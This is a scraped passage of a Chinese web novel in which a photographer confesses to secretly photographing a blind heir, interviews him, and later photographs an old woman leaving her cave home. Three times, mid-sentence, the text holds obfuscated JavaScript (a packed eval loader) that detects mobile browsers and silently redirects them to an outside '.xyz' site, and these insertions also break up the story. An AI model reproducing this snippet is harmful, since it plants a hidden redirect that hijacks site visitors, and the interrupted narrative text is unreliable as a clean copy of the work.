今天的余小冰笑呵呵的,语气很轻松,“希贤啊,跟你打电话是有个好消息。杂志社的高层重新评估了你的能力,一致认为像你这样有才华的摄影师,埋没了实在太可惜。所以我今天正式代表《当代探索》,再次向你发出邀请,欢迎你随时加入我们团队。之前谈好的职位、待遇,一切照旧,你看你什么时候方便,就上来把合同签了?” 孟希贤怀疑自己是不是累得出幻听了,她开口,带着浓浓的怀疑,“我没理解错吧,您说的是……让我回《当代探索》?金晖那位金董,他能同意?” 余小冰“哎哟”一声,“瞧你说的,现在可是金晖集团那边,专门打电话到我们总编办,说你孟希贤是个人才,之前的事情都是误会。他们也非常欣赏你的作品,特意强调希望我们能不拘一格,把你这个人才吸纳回来。金晖都这么说了,我们杂志社哪还有二话?这可真是峰回路转,柳暗花明啊希贤!” 孟希贤不是刚出社会的小青年,她宁愿相信太阳打西边出来,都不相信金秉诚那只老狐狸能有这般好心。 她甚至怀疑这是一个新的陷阱,金秉诚就等着她回去再收拾。 她脑子里飞快地转着,忽然一个可能性跳了出来——上周她在云顶酒店帮了金司承一把,会不会是他开的口? 孟希贤心里乱糟糟的,像塞了一团乱麻。但不管怎样,这突然砸下来的橄榄枝,不管是谁递过来的,不管底下藏着什么坑,她都得先接着。毕竟妈妈的医药费压在头顶,而零工的收入杯水车薪。 “余主编”,孟希贤的声音稳了些,“谢谢您,也谢谢杂志社,还有金晖集团的赏识。我这边没问题,随时可以过去办手续。” 余小冰说了句“好”,随即又带上了急切的工作热情,“还有个事啊,正好电话里跟你先通个气。咱们团队开会讨论了你之前拍的那组残障人士专题,我们打算下个月就把它作为封面故事推出。但这么好的故事,光有照片深度不够。我们想做一篇深度的人物专访,围绕这位主角展开,挖掘他的故事,包括心路历程和生活现状,这才更能打动人心。所以,你得把他的联系方式给我们,最好是能约他本人到杂志社来一次,或者我们去拜访他,做个面对面的深度采访。” 棚里的空气好像一下子被抽干了,孟希贤站在原地,半天没有接话。 现在照片里的金司承虽然是背影和侧影,但后期配上深度采访,被认出来的风险太大了! 何况,他还不知道自己被偷拍呢。如果知道了,可能又会暴跳如雷。 还有金秉诚,如果他也知道了会怎么样?会不会把火再烧到她身上? 孟希贤很为难地开口:“余主编,这个采访对象情况特殊,不太方便接受采访。” 余小冰却继续苦口婆心地劝导:“我知道你有顾虑。但咱们做人文关怀,就是要勇敢发声。那人是害怕曝光吗?我们可以保护隐私,用化名。重要的是故事本身,这对提升公众对残障群体的关注度非常有帮助,也是我们媒体的社会责任啊!再说了,这专题是你拍的,由你负责跟进采访,肯定比我们容易。你再琢磨琢磨。” 孟希贤揉了揉太阳穴,无奈地叹了口气,说:“余主编,您说的我都懂,但这事确实难办。这样吧,您先把入职的事安排好。采访对象那边,我先试着联系,摸摸他的想法。行吗?” 挂了余小冰的电话,孟希贤坐在摄影棚角落的塑料椅子上,浑身像长了刺。 她盯着手机屏幕上“金司承”三个字,手指头悬在拨号键上方,又缩回来。 来来去去几回后,她深吸一口气,像是要潜入深水之前做的准备,心一横,手指终于戳了下去。 电话响了几声,接通了。 “喂,是我,孟希贤”,她感觉嗓子有点干。 金司承:“嗯,听出来了。有事?” “那个……就是……”孟希贤觉得舌头有点打结,“你知道我是摄影记者吧,之前因为巾帼水泥厂的事,有个杂志社到了最后关头不愿意聘用我。但是她们刚才又打给我,让我直接上来签合同就行。所以我想……是不是你找过他们?” 金司承承认得很干脆:“是有提过这么一嘴。” 孟希贤的猜想得到了证实,她想象着金司承打电话的样子,嘴角不由地弯了弯,“谢谢你啊,帮了大忙。” 电话那头沉默了一两秒,“小事,你打电话就为说这个?” “也不是”,孟希贤赶紧道:“你今天有空吗?我想当面跟你说点事。方便的话,找个地方坐坐?” 金司承说:“行,地点你定,告诉我名字和大概方位就行。” 孟希贤说了个地点,又看了眼时间,“下午四点钟行吗?” “好,到时见。” 孟希贤放下电话,长长吐出一口气,后背都有点汗湿了。第一步已经迈出去了,剩下的就听天由命吧。 —————————— 孟希贤提前二十分钟到了转角咖啡馆。她特意选了最里面靠墙的卡座坐下,面对着门口方向。 快到四点,咖啡馆的门被人推开,一个高个子男人出现在门口。 店员似乎想上前帮忙,他侧头说了句什么,店员又退了回去。 孟希贤站起身,招呼着金司承过来,“这里。” 金司承脚步顿了一下,转向她声音的方向。他上前摸到了卡座的边缘,在她对面坐了下来。 孟希贤看着他,觉得他比上次在酒店晚宴时看起来状态好些,脸上阴郁的戾气都淡了。 她点了两杯咖啡,在等待的空隙里,再度开口感谢金司承,“余主编跟我说了,是金晖集团专门打了电话,她才又敢用我。我知道肯定是你。对来你说,可能是举手之劳,但我真的很需要这份工作。所以以后你有什么需要我帮忙的,尽管开口。” 金司承笑了声,“所以你以后,不收我钱了?” 孟希贤知道金司承说的是天桥之上,她提出只要五万块,就能随叫随到。她沉默了一会,决定把话说清楚。 “今天叫你出来,除了是想当面谢谢你,我还要给你道歉。” 金司承微微抬起脸,对着她的方向,“道什么歉?” “当初接近你的时候,我确实很需要用钱,但这个不是我的目的。我主要是因为拿到了《当代探索》的面试机会,余小冰让我交一组人文照片当入职作品。我就想,‘残疾人和普通人的界限’这个主题,你是最合适的主角。” 孟希贤一口气说完,心脏砰砰跳。 果然,金司承整张脸冷了下来,“所以,你死皮赖脸地跟着我,就是为了偷拍我?” 他自嘲地哼了一声,“没想到我还有这个价值。” 见他起身要走,孟希贤连忙也跟着站起来。 她追上去扯住他衣角,解释道:“那些交上去的照片,我都做了处理,只有一个轮廓,看不见你五官的。我当时还写了一段主题阐释……” 她回忆着那段文字,全部背了出来。 话音落了,金司承的下颚线依旧紧绷着,但好歹停住了脚步。 见事情可能出现转机,孟希贤鼓起勇气,又继续道:“当时我跟你说,要一万作为试用期费用,你给了钱包让我自己拿。其实我没拿那么多,大概就是我们来回三皇山的交通费,加上山上的住宿,还有蹦极的钱,多出来的部分,我还补了点。我知道你不差那几万块钱,现在说出来,只是想告诉你,我的真实想法。” 金司承冷笑道:“那你现在是良心不安,来坦白求原谅?” “是坦白,也是道歉”,孟希贤老实回答,“我知道这很自私,利用了你的处境。对不起,金司承,真的对不起。” 这个时候,服务员刚好来送餐。金司承站在过道里,走也不是,坐也不是。 孟希贤拉拉他衣袖,“人来人往的,坐下说吧。” 金司承不耐烦地重新坐下,他倚在卡座的沙发背上,镜片后的双眼似乎看透了一切。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231056|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他问孟希贤:“你今天找我出来,除了道歉,还有别的事吧?” 该来的还是来了。 孟希贤的心又悬了起来,“确实还有一件事。杂志社很满意那组照片,想作为下个月的重头戏,但是他们还想要一个采访。” 她说着,声音小了,头也低了下去,“我知道这很过分,在你刚刚知道我骗了你之后,还提这种要求。如果你想拒绝,也没关系,我会再想别的办法。” 金司承却打断了她剩下的话,“可以。” 孟希贤抬起头,有点呆。她预想过他会直接起身离开,或者让她滚蛋,唯独不敢想象他能答应得那么干脆。 金司承没听到孟希贤的声音,又重复了一遍:“我说,可以接受采访,你尽管问,我没有什么不能说的。如果你不赶时间,现在就能开始。” 孟希贤这才如梦初醒,手忙脚乱地从包里翻出录音笔和笔记本。 她按下开机键,把笔推到金司承前面,“那我们就从你失明后的感受开始聊起?或者你愿意从哪里开始都行。” 金司承沉默了片刻,像是在整理思绪。 咖啡馆里流淌着舒缓的爵士乐,背景里还有咖啡机磨豆子的声音。 他缓缓开口,开始剖析自己:“失明最初的那段时间,我感觉世界被强行关闭了。愤怒吗?有的,但不是针对撞我的那辆车,也不是针对命运。那种愤怒很空,像一团闷在胸腔里的浓烟,找不到出口烧起来。” “我在过去二十几年建立起来的一切,包括我的价值,别人看我的眼神,我自己对自己的认知,全部倒塌。金司承这个人,只剩下一个名字,和一个无用的躯壳。” “你知道最讽刺的是什么吗?失明之前,我觉得自己无所不能。学业、事业、别人眼里的光环……我觉得那都是我自己挣来的。瞎了以后才明白,那光环一多半,是我爸金秉诚的名字赋予的。没有那个名字,谁会让我一路绿灯?” “我爸是有来医院看过我,但不是安慰,只是评估,评估我这个受损的‘资产’还有没有利用价值。当他发现我不能再像一个合格的继承人那样,为他掌控集团,甚至因为失明导致联姻告吹……我在他眼里,大概就和一个摆在客厅角落坏了的花瓶差不多。安静待着,别惹麻烦,就是他对我最大的期望了。” “至于其他人……趋炎附势的嘴脸,我以前就知道。只是没想到,当‘势’没了,‘炎’也灭了的时候,他们会离开得那么快。过去那些称兄道弟的,一个都没来。病房里冷清得像个冰窖,只有蕊希,还记挂着我这个没用的哥哥。” “后来我实在受不了了,自己跑出了医院,和你去了三皇山。你倒好,还扯着我帮那些村民卖水果。呵呵,金秉诚的儿子在街头当小贩,多好的新闻标题。” “但是,当那个小姑娘把手里的苹果递给我,说‘谢谢叔叔’的时候,我还是觉得,我像个能帮得上一点点忙的‘人’。” “还有后来,你非要去买个荧光手环,我在黑暗里看到那团模模糊糊的绿光晃来晃去,觉得又傻又烦,但好像也没那么糟。至少,我能知道旁边有个人,一个不是因为我是金秉诚的儿子,才在旁边的人。” “所以,你要问我失明的变化,大概也就这样了。” 咖啡馆里的音乐似乎低了下去。孟希贤听着金司承用平静的语气说着如此残酷的内容,胸口堵得慌。 她放下手中的笔记本,认认真真地告诉他:“金司承,不是‘也就这样了’。” “你说在三皇山的时候,是我让你帮老太太卖水果的,但你有没有想过,关键是你自己也愿意的。你完全可以推开那一老一少,可是你没有。你站在那儿,听着她们的声音,心里也有一点点高兴的,对不对?” “还有,你说看到绿光觉得‘没那么糟’。那是因为你的心里,其实一直就没放弃过那些美好的事情。这才是最重要的!” 时间一点点过去,金司承没有反驳,也没有冷笑。他低垂着头,助视器眼镜完全遮住了他的眼睛,看不清表情。 正当孟希贤以为他们的采访已经结束的时候,有人推开了咖啡厅的门。 12. 第 12 章 孟希贤坐在余小冰的办公室里,翻看着入职合同。她一行行的扫过去,对工资和奖金的规定都比较满意。 她正转着手中的笔,余小冰走了进来,还端了杯咖啡,“希贤,不好意思啊,让你等这么久,刚才老板临时叫我去说点事。” 孟希贤抬头笑笑,“没啥,余姐,我正好看看合同细节。你忙你的,我这儿都看完了。要不现在就签了吧?” “行,签了就好,咱们杂志社就缺你这样的人才”,余小冰拉开椅子坐下,从抽屉里拿出另一份合同副本,“来,一式两份。” 两人低头签起字来,笔尖在纸上沙沙响。 余小冰整理好合同,朝孟希贤伸出手,“好了,搞定!从今天起,你就是咱们正式员工了。欢迎加入!” “谢谢余姐,我会好好干的”,孟希贤深知这份工作来之不易,她可不想再砸饭碗了。 余小冰换了个话题,语气也认真起来,“之前交代你的那个采访任务,怎么样了?” 孟希贤点点头,“聊得差不多了,前几天见了一面,他说了不少心里话,挺坦诚的。我现在回去润色一下稿件,加点细节,这几天就能交上来。” 余小冰听了,脸上笑容僵了一下。 她端起咖啡喝了一口,犹豫着开口:“希贤啊,这事儿……我得跟你道个歉。那个采访稿,还有你拍的残疾人照片,都不能用了。” 孟希贤手里的笔差点掉地上,“又不能用了?咱们不是都说好了吗?照片你之前看了很满意,采访也是你安排的,怎么突然又变卦?这都第二回了。” 她想起前段时间因为金家施压,闹得鸡飞狗跳,眼眶有点发热。 “不是我对你有意见,刚才老板叫我去就是交待这事”,余小冰赶紧摆手,一脸无奈,“金晖集团今天又打电话来了,要求你那套照片和采访稿,全部撤掉。我这主编也是夹在中间,没办法呀。” 孟希贤盯着桌角发愣,显而可见,她又被金晖集团盯上了。那么,这次是因为什么呢? 那天咖啡馆的画面突然蹦进脑子。 采访快结束的时候,金蕊希突然进来,冷冰冰地把金司承拉走。她看孟希贤的眼神跟刀子似的,明摆着有敌意。 虽然不知道自己哪里得罪了这位大小姐,但金蕊希作为金家的一份子,绝对有能量动动嘴皮子就让杂志社低头。 余小冰见观察着孟希贤的表情,试探道:“希贤,你老实跟我说吧。你拍的那个照片里的主角,是不是就是金家那位大少爷金司承?” 现在照片和采访都不能用了,孟希贤也不想再把这件事和金司承联系在一起。 她没有回答余小冰的问题,只是道:“余姐,这事儿我知道了。最近我还在搜集一个专题的资料,是关于窑洞的,如果社里有需要,我可以出差,那就不会耽误下个月的选题了。” —————————— 金司承靠在床头,手指头在特别定制的手机上滑来滑去,最后点开了一个图标。 耳机里很快响起节奏强烈的摇滚乐,鼓点咚咚地砸着耳膜。他把音量又调大了两格,直到世界只剩下这嘈杂的轰鸣。 听了一阵,脑袋都有点跟着节奏发懵。金司承摘下一边耳机,想喘口气,却听到客厅那边模模糊糊的笑声。 常鸣。又是这个常鸣。 金司承眉头一下子拧紧了,骂了句脏话。 慈善晚宴那次,常鸣见到了很少回国的金蕊希。从此,他就成了金家的狗皮膏药,三天两头往这儿跑。 金蕊希也不知道怎么想的,没把人轰出去。常鸣在那里没话找话说,她就听着,偶尔搭上那么一句。可怜金司承,听着常鸣的声音都觉得浑身不得劲,就像有蚂蚁在身上爬。 他厌烦至极,走到窗边呼吸了几口新鲜空气,出去走走的念头越来越强烈。 那么,去哪儿呢? 他的脑子里没有冒出任何地点,却出现了一个人。 上次在咖啡馆见面,孟希贤为了感谢他,说:“以后需要我的地方就尽管开口,我义不容辞。” 金司承听着这不是弯弯绕绕的话,所以他也不打算客气,划拉着手机就拨了过去。 铃声响了一会,那边才接起来,背景音乱糟糟的,有狗叫,还有人用方言大声嚷嚷着什么。 金司承问:“孟希贤,你在哪儿呢?这么吵。” 孟希贤的声音有些疲惫,“我出差呢,在离酌州两百公里的村子,信号还时好时坏的。怎么了,你找我有要紧事吗?” 金司承有点失望,“没有,我就是想去透透气。” “我这几天工作有点多”,孟希贤语速很快,“拍照片,找素材,跟老乡沟通,嗓子都快冒烟了。等我忙完,回去第一时间找你行不?说话算话!” 金司承听着,心里的不爽淡了点,但被拒绝的感觉还是堵着。 他琢磨着孟希贤口中的距离,“两百公里,也不算远。我去找你也可以。” “啊?你来找我做什么?”孟希贤愣了一下,“我这地方特别偏,路也不好走,下了高速还要七绕八拐的,开车要三个小时呢。而且。我真没空招呼你。” “我又不用你招呼”,金司承那股子莫名的劲儿上来了,“反正我现在就是个闲人,你把定位发我。” 孟希贤有点无语,“你怎么过来,别开玩笑了。” “没有开玩笑”,金司承语气硬了点,“我让司机开车送我过去,就当兜风了。反正我是一刻都不想在家里待着了。” 电话那头沉默了几秒,孟希贤叹了口气,说:“行吧,我发你微信,但你路上得注意安全。” “知道,我又不是小孩”,金司承挂了电话,很快就收到了位置信息,那是一个陌生的地名。 他拿着手机,摸索着打开房门,朝着司机房的方向喊:“钟叔?” 客厅那边瞬间安静了。 几秒钟后,一阵脚步声迅速过来,停在离他不远的地方。 金蕊希问:“哥,你找钟叔干嘛?他去给家里采购了,一时半会回不来。” 真是巧。金司承皱了皱眉。 这时,常鸣的声音也跟着凑近了:“金少爷,你想出门啊?找司机?” 他巴不得金司承立刻离开,不要打扰他和金蕊希的独处。 于是,他的声音里不再是之前的嘲讽,反而透着十二分的热情,“钟叔不在没关系,我的司机就在外面等着呢。你想去哪?我让他送你去,保证安全送达。” 金司承实在不想用常鸣的司机,但钟叔不知道什么时候回来。那个远在两百公里外的村子,此刻对他有种奇异的吸引力,至少比待在这里听常鸣说话强一万倍。 他默了默,还是报出了孟希贤给的定位,“我要去这里。” 常鸣在地图上搜了一下,奇怪道:“这都出酌州了,还进了山,你去那么远干嘛呀?” 金蕊希也劝道:“哥,你身体方便吗?那边路况听说不太好。” “没事,我自己去就行”,金司承又想到了一个办法,“我可以打车,加点钱给司机。” 金蕊希却立刻拒绝了,“不行,我不放心你一个人。正好我也没什么事,我跟你一起去。” 她转向常鸣,娇滴滴地开口,“你刚才是说,你的司机技术很好对吧?正好,送我们过去,你的车应该坐得下?” 常鸣有点傻眼了。 他张了张嘴,但迎着金蕊希的无声压力,再加上金司承那张绝不会改主意的脸,所有的话都堵在了嗓子眼。 他不想在金蕊希面前形象全毁,只好道:“坐得下,当然都坐得下。你说得对,金司承一个人去那么远,是得有人陪着。我也去吧,三人行更热闹。” —————————— 孟希贤一脚深一脚浅地走在吴家村的土路上,脚下的黄土被太阳晒得蓬松,踩上去带起一小股烟尘。 她停下来,眯着眼打量四周。 这地方的窑洞,是真不行了。一眼望过去,十个里头得有九个半是废的。 她举起相机,咔嚓咔嚓地拍。镜头里全是土色,塌陷的轮廓、丛生的杂草,有种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16231057|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被时间抛弃的荒凉劲儿。 她心里有点闷,这“大型废墟现场”和她设想中的乡土情怀方向,差得有点远。 她沿着坡往上走,想找个高点拍拍全景。 当走到一排窑洞更靠里的位置时,她的脚步顿住了。这边有几个窑洞看着也不太行,但最边上那个,不一样。 那个窑洞的院墙居然还在,虽然也是黄土夯的,但整体没塌。 墙头上还整整齐齐地码着一排晒干的玉米棒子,金黄金黄的。 窑洞的木门是老式的双开板门,虽然油漆早就掉光了,但看着结实。最让她意外的是窗户,糊的不是旧报纸或者烂塑料布,而是崭新的透亮玻璃。 孟希贤好奇地走近几步,探头看了看院子。 里面不大,扫得光溜溜的,连根草棍儿都少见。墙角靠着农具,屋檐下挂着几串红辣椒,还有些大蒜头。 这地方,明显是有人住,而且住得挺讲究。 孟希贤正看着,木门开了条缝,一个满头白发的老太太探出头来。 她脸上的皱纹很深,像黄土地上的沟壑,但眼睛很亮。 她打量了一下孟希贤手里的相机,问:“你找谁啊?” “奶奶您好”,孟希贤赶紧上前自我介绍,“我是摄影记者,来咱们村拍点照片。看您这儿的窑洞挺特别的,能不能进去参观一下?” 老太太点点头,把门又拉开些:“进来吧,外头晒。” 窑洞里面比孟希贤想象的要亮堂,也宽敞不少。 迎面就是一个大土炕,炕席是竹篾编的,洗刷得泛白,铺得平平整整。炕头摞着几床同样干净的蓝花布棉被,炕对面靠墙摆着一张老旧的八仙桌和两条长凳。最显眼的是靠墙立着一个暗红色的老式木头大衣柜,上面还镶着镜子。 孟希贤真心实意地赞叹:“奶奶,您这窑洞收拾得可真好!” 老太太自顾自走到炕沿坐下,拿起一个簸箩,里面是刚摘下来的豆角。 她开始慢悠悠地掐豆角筋,“住了一辈子的地方,不住好点咋行?窝窝囊囊的,自己看着都憋屈。” 孟希贤放下背包,不停地打量着四周,“您一直住这儿?” “是啊,打记事起就在这洞里了。以前村里人都挤着挖新窑。你看那边坡上那几排新的,气派吧?后来年轻人都跑城里去了,挣上钱了,就把老的少的都接走了。新窑没人住,也荒了。我这老窑洞,反倒住习惯了。冬暖夏凉,挺好”,她抬眼看了看孟希贤,“姑娘,你刚才是说来拍照吗?想拍就拍吧。” “太感谢了!”孟希贤如蒙大赦,连忙掏出相机,对着屋里各处拍了起来。 屋里的每个细节都透着在衰败中顽强维持体面的生活气息。光线从玻璃窗透进来,在炕沿和桌腿上投下明亮的方块,空气中的浮尘在光柱里跳舞。 她按着快门,问:“您一个人住,孩子们呢?” “俩儿子都在外头。城里有房,接我去过,住不惯。那楼房像鸽子笼,喘气都不痛快。哪有这窑洞敞亮?他们忙他们的,过年过节回来看看我就行。我一个人清净”,老人顿了顿,放下掐好的豆角,目光落在墙上,“再说了,老头子在这呢。” 孟希贤顺着她的目光看过去,墙壁糊的旧报纸上方,挂着一个木头相框,里面是男人的照片。放了太久,人脸都有些模糊了。 老人家说:“他走了有二十年了,这窑洞,是我娘家给我俩准备的新房。他一块土一块土亲手打的这坑,这灶台。他走了,我守着这洞,总觉得他还在里头转悠。去别处,心里空落落的。” 孟希贤举着相机的手慢慢放了下来,她干巴巴地说了一句“您别难过”,又觉得自己这话真是没啥用。 老太太却摆摆手:“没啥难过的。人老了,总有这一天。他在的时候,我俩也没少拌嘴。走了,就记得他的好了。” 她站起身,拍了拍衣襟,“姑娘,饿了吧?快傍晚了,我灶上煨着羊肉汤呢,早上赶集买的鲜羊肉。喝一碗再拍?” 孟希贤刚推辞了两句,手机就响了起来。 13. 第 13 章 金司承在电话里告诉孟希贤,他已经到了,就在村口那块有着“吴家村”三个大字的石头旁站着。 孟希贤连忙叫他站着别动,自己现在去接他。 村里的土路坑坑洼洼地,孟希贤走得有点喘,背包在身后一颠一颠地拍打着,装着相机的侧袋也硌着腰。 到底惦记着金司承,她还是一口气往前走。 快到村口的时候,她看到了一个穿着浅灰色休闲裤和米白色套头衫的男人安静地站着。 他身姿挺拔,脸上架着一副深色墨镜,遮住了眼睛。 他那副样子,跟周围灰扑扑的黄土坡和远处连绵光秃的山峦,显得格格不入,就像件精贵的瓷器摆在了农贸市场的地摊上。 孟希贤在金司承面前站定,“你真找来了啊?” “嗯”,金司承听到她的喘气声,嘴角动了一下,“你跑什么。” “怕你等急了”,孟希贤左右看了看,村口除了蹲在墙根晒太阳的两个老头,没别人,“这地方可不好找,导航都导不准。你一个人来的?” 金司承说:“常鸣来我家,他和蕊希一起送我来的。” 孟希贤有点吃惊,她的记忆还停留在慈善夜宴上常鸣对金司承充满敌意的画面。 金司承简单解释了下,又补充道:“刚才下车的时候,蕊希摔了一跤,裙子脏了。她有洁癖,非要换衣服,常鸣带她找地方买衣服换掉。他两等下回来。” 孟希贤“哦”了一声,看着脚下的黄泥路,深有同感道:“这种路走起来,确实很费劲。” 她说着,目光落在金司承垂在身侧的手上,然后往前一步,很自然地牵住了他,“走吧,还是我带你。” —————————— 孟希贤领着金司承,一边沿着村里的土路往回走,一边跟他叨叨刚才拍到的窑洞素材。 拐了个弯,她看到两辆沾满灰土的小轿车,停在了离窑洞不远的地方。 老太太的院子里站着三个人,一个男人五十出头,穿着件POLO衫,肚子有点鼓;另一个年轻点,四十好几的样子,头发抹得挺亮。 “妈,您看您,犟啥呢?”年纪大点的男人声音有点粗,语气里带着不耐烦,“城里的大房子,四室两厅,亮亮堂堂的,不比您守着这破窑洞强一百倍?冬暖夏凉,那都是老黄历了!现在城里冬天有暖气,夏天有空调。” “就是啊妈”,年轻点的男人接上话,“您瞅瞅这周围,还有几家住窑洞的?邻居早都搬走了,这窑洞多落伍啊,土里土气的。再说了,这地方缺人维护,年头久了,谁知道啥时候塌一块下来?万一砸着您,谁担得起这责任,我们哥俩儿在外头还咋安心工作?” 老太太没吭声,只是转脸看向旁边低矮的院墙缺口,像是没听见,又像是固执地守着什么。 年轻点的男人,也就是老太太的小儿子,率先看见了孟希贤两人。 他打量着她身上的专业相机,带着警惕开口:“你们是?” 孟希贤上前道:“您好,我是记者。这老窑洞很有特色,我们过来拍几张照片,做个乡土记录。” “记者同志啊,那正好,你们也帮我劝劝我妈”,大儿子也过来和孟希贤说话:“这窑洞不能住了,太危险!我们兄弟俩在城里房子都给她收拾好了,孙子孙女天天念叨奶奶咋还不来。一家人就差她了,这破窑洞还有啥好留恋的?” 老太太嘟囔了句:“啥破窑洞……在这儿活了大半辈子……” 孟希贤看了看老太太,又看了看窑洞的黄土拱顶。 她放柔了声音,像是在和自家老人商量,“奶奶,谢谢您刚才邀请我进去您家,您这窑洞布置得真温馨,我都拍下来了。但是,他们担心的安全问题,确实需要考虑。这种老的土窑洞,毕竟年头长了,又没人专门维护检查。您一个人住这儿,万一,我是说万一,刮大风下大雨,或者墙体里面有点啥问题,外面看不出来,还是有人在身边照顾着更放心些。您家人都很想您,有句话叫做,‘有家人的地方叫做家’,您觉得对吗?” 孟希贤的话,显然比她儿子们直接的抱怨更戳中了老太太的心事。 老太太嘴唇抿了抿,眼神里那点固执的光彩,渐渐黯了下去。她低下头,看着脚下的黄土,沉默着。 大儿子赶紧趁热打铁:“妈,听见没?人家记者都说了,不安全!” 小儿子也凑近一步:“妈,跟我们走吧。您进城就享福,啥都不用操心。我女儿可想您了,总是盼着您来教她捏泥人。” 老太太缓缓抬起头,目光在自己住了几十年的窑洞门上转了转,又在两个儿子脸上看了看。她叹了口气,那声音又轻又长,好像把一辈子的眷恋和不舍都吐了出来。 她挥挥手,“唉……听你们安排吧。” 两个儿子脸上立刻露出喜色。小儿子松了口气:“这就对了妈,我去给您收拾收拾。” 老太太却说:“不用急,我先拿几样用得上的东西。” 趁着老太太进窑洞的间隙,两个男人掏出烟点上,商量着车子座位怎么安排,东西往哪放。 孟希贤碰了碰金司承的胳膊,低声说:“老奶奶答应搬了。” 金司承点了点头:“嗯,听到了。” 过了一会,老太太出来了。 她右手攥着一个磨得发亮的老木头烟杆,烟嘴是铜的,烟锅很小。 她把那烟杆攥得紧紧的,像是攥着命根子。 她走到院子中间,最后回头看了一眼自己的窑洞。 阳光照在她满是皱纹的脸上,映出复杂的情绪。 孟希贤立刻举起相机。 她调整着焦距,镜头紧紧跟随着老太太。 她拍下老太太攥着烟杆的手,指节因为用力有些发白;拍下她回头凝望窑洞时,眼神里沉重的告别;拍下她深吸一口气,转身朝着儿子们走去时,脚步里带着的那份决然;也拍下那两个儿子迎上来,搀扶着她的手臂,脸上真实的笑容。 孟希贤不断按下快门,捕捉着老人从旧世界走向新生活的每一瞬间。 这不仅仅是搬家,更是一场个人史诗的沉默落幕。 孟希贤放下相机,看着轿车驶离,心中五味陈杂。 她对金司承说:“也许过不了多久,这个窑洞就真的没了。但老太太在这过的日子,她和老伴的那些事儿,谁也带不走。它会一直在她的心里,也在这些照片上。” 金司承静了静,说:“其实,不见得非让它消失不可。” 孟希贤一怔,转头看向他。 金司承的脸对着前方,像是对着那片窑洞,又像是对着更远的山梁。 “以前,在我还能看见东西的时候,我接触过一些文旅合作的项目。像这种老窑洞,挺有特色的,其实可以想办法盘活。” “最简单实用的,可以跟村里,或者地方政府谈,把它设为一个小景点。不用大拆大建,就保留原样,让人能进去看看真正的窑洞生活是啥样。屋里头那些老物件,都是活历史。配套呢,就在旁边合适的地方,搞几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236712|181785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔窑洞稍微改造一下,作为农家乐。” “现在周末有很多城里人都喜欢周边游,他们可以来体验住窑洞的感觉。吃饭的话,在土窑里起灶台,搞地道农家饭,比如柴火鸡、铁锅炖羊杂、洋芋擦擦、油馍馍……就叫‘土窑味道’。食材用村里种的养的,够新鲜。游客吃着香,村民也能赚点钱。” “关键是,有了游客,有了收入,就能拨出钱来专门维护这些老窑洞。请懂行的师傅定期检查加固,确保结构安全。这样窑洞本身就能留下来,老奶奶要是哪天想回来看看,就能回来。她还能跟游客讲讲过去的故事,当个活招牌。” 他说完了,最后又补充了一句,“关键得有懂行的人愿意牵头,还得有启动的钱。” 孟希贤手里还握着相机,镜头盖都忘了盖上。 阳光照在金司承身上,在他轮廓分明的侧脸打下一道清晰的光影界限。 他说的每一个字,都像一颗小石子,投入孟希贤心里,荡开一圈圈涟漪。 那些话,条理清晰,目标明确,既看到了保存的价值,又想到了可行的出路,还兼顾了经济效益和人文关怀。 他不是在空谈情怀,是在实实在在地想解决问题的办法。 那一刻的孟希贤,仿佛和高一时候的自己重叠了—— 她觉得金司承整个人都在发光。 —————————— 天渐渐黑了,村里人家稀稀拉拉亮了灯。 金蕊希两人还不见踪影。金司承掏出手机,拨了过去,“你们到哪里了?” 金蕊希:“快到了,前面就是村口。你等着急了啊?就在刚才下车那儿等我。” 金司承皱了下眉:“你和常鸣说一声,直接开到窑洞这边。” “哎呀不行!”金蕊希的声音透着烦躁,“哥你赶紧过去,我们接上你就走,这破地方我是一分钟都不想待了!我下午在县里转了一圈,那些衣服,我的天,都是什么玩意啊?料子硬的能扎死人,款式土的掉渣,白送我都不要!我现在浑身难受得要死,就想赶紧回家泡澡。你快点,我们马上到了!” 金司承听着孟希贤收拾东西的声音,对金蕊希道:“我不走,孟希贤还得拍夜景。我跟她待村里,晚上找个地方对付一宿。” 电话那头静了一下,金蕊希激动起来:“你说什么?你要在这鬼地方过夜?金司承你疯了吧你!这地方是人待的吗?你看看这路,你看看这灰,还有那窑洞,黑黢黢的,指不定多少虫子。你住哪儿?” “总有地方睡”,金司承的语气还是那样,但眉头拧得更紧了,“你管我睡哪儿,你们自己回去。” “我不管你谁管你?”金蕊希的声音带着哭腔了,“你眼睛这样,一个人在外面住这种地方,出了事怎么办?孟希贤她能照顾你吗?她自己还得拍照片呢。哥,你能不能别这么任性了,从来不管别人担心不担心。” 